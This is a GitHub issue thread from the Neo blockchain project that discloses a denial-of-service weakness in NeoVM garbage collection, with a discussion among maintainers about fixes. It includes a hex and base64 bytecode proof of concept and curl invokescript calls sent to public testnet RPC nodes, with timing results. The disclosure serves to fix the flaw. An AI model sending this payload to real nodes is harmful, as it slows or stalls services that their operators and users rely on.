Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refracting Needed for the Nested Nested Nested Nested Garbage Collection in NeoVM 🐌 #2528

Closed
vang1ong7ang opened this issue Jul 8, 2021 · 7 comments

Comments

@vang1ong7ang
Copy link
Contributor

vang1ong7ang commented Jul 8, 2021

As a complement for https://github.com/neo-project/neo/issues/2521, another DoS way is provided here:

The PR neo-project/neo-vm#416 created by @shargon 👍 quickly found the keeeeey to the problem showed in https://github.com/neo-project/neo/issues/2521 and solved the critical issue. However, it is afraid that there are still several cases that can make GC run slowly.


POC

5601c24a4a01fb0760589d6011c05824fa11c0cf0260cc050060589d6010
ce5824fa10ce45

Source Code: https://github.com/lazynode/Tanya/pull/4/files

@dusmart
Copy link

dusmart commented Jul 8, 2021

10 gas consumed and 2 minutes cost on the test node.

➜  ~ curl -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgHCSkoB+wdgWJ1gEcBYJPoRwM8CYMwFAGBYnWAQzlgk+hDORQ=="] }' http://seed2t.neo.org:20332 | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   302    0   179    0   123      1      0 --:--:--  0:02:05 --:--:--    39
{
   "id" : 1,
   "jsonrpc" : "2.0",
   "result" : {
      "exception" : null,
      "gasconsumed" : "1004429190",
      "script" : "VgHCSkoB+wdgWJ1gEcBYJPoRwM8CYMwFAGBYnWAQzlgk+hDORQ==",
      "stack" : [],
      "state" : "HALT"
   }
}

@roman-khimov
Copy link
Contributor

10 gas consumed and 2 minutes cost on the test node.

Some nodes can do it quicker, like in 1 second:

$ curl -d '{ "jsonrpc": "2.0", "id": 1, "method": "invokescript", "params": ["VgHCSkoB+wdgWJ1gEcBYJPoRwM8CYMwFAGBYnWAQzlgk+hDORQ=="] }' https://rpc1t.n3.nspcc.ru:20331 | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   276  100   153  100   123    124     99  0:00:01  0:00:01 --:--:--   223
{
   "id" : 1,
   "jsonrpc" : "2.0",
   "result" : {
      "stack" : [],
      "script" : "VgHCSkoB+wdgWJ1gEcBYJPoRwM8CYMwFAGBYnWAQzlgk+hDORQ==",
      "gasconsumed" : "1004429190",
      "state" : "HALT"
   }
}

@shargon
Copy link
Member

shargon commented Jul 9, 2021

I think that the best way to solve this is limit the nested nested arrays, structs and maps

@roman-khimov
Copy link
Contributor

@shargon, don't give up that easy! Especially since nesting tracking is an overhead of its own.

@shargon
Copy link
Member

shargon commented Jul 9, 2021

A StackItemFactory (or memory) related to the ExecutionEngine could solve all these situations. neo-project/neo-vm#202

@vang1ong7ang
Copy link
Contributor Author

A StackItemFactory (or memory) related to the ExecutionEngine could solve all these situations. neo-project/neo-vm#202

Yes.

@vang1ong7ang
Copy link
Contributor Author

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

5 participants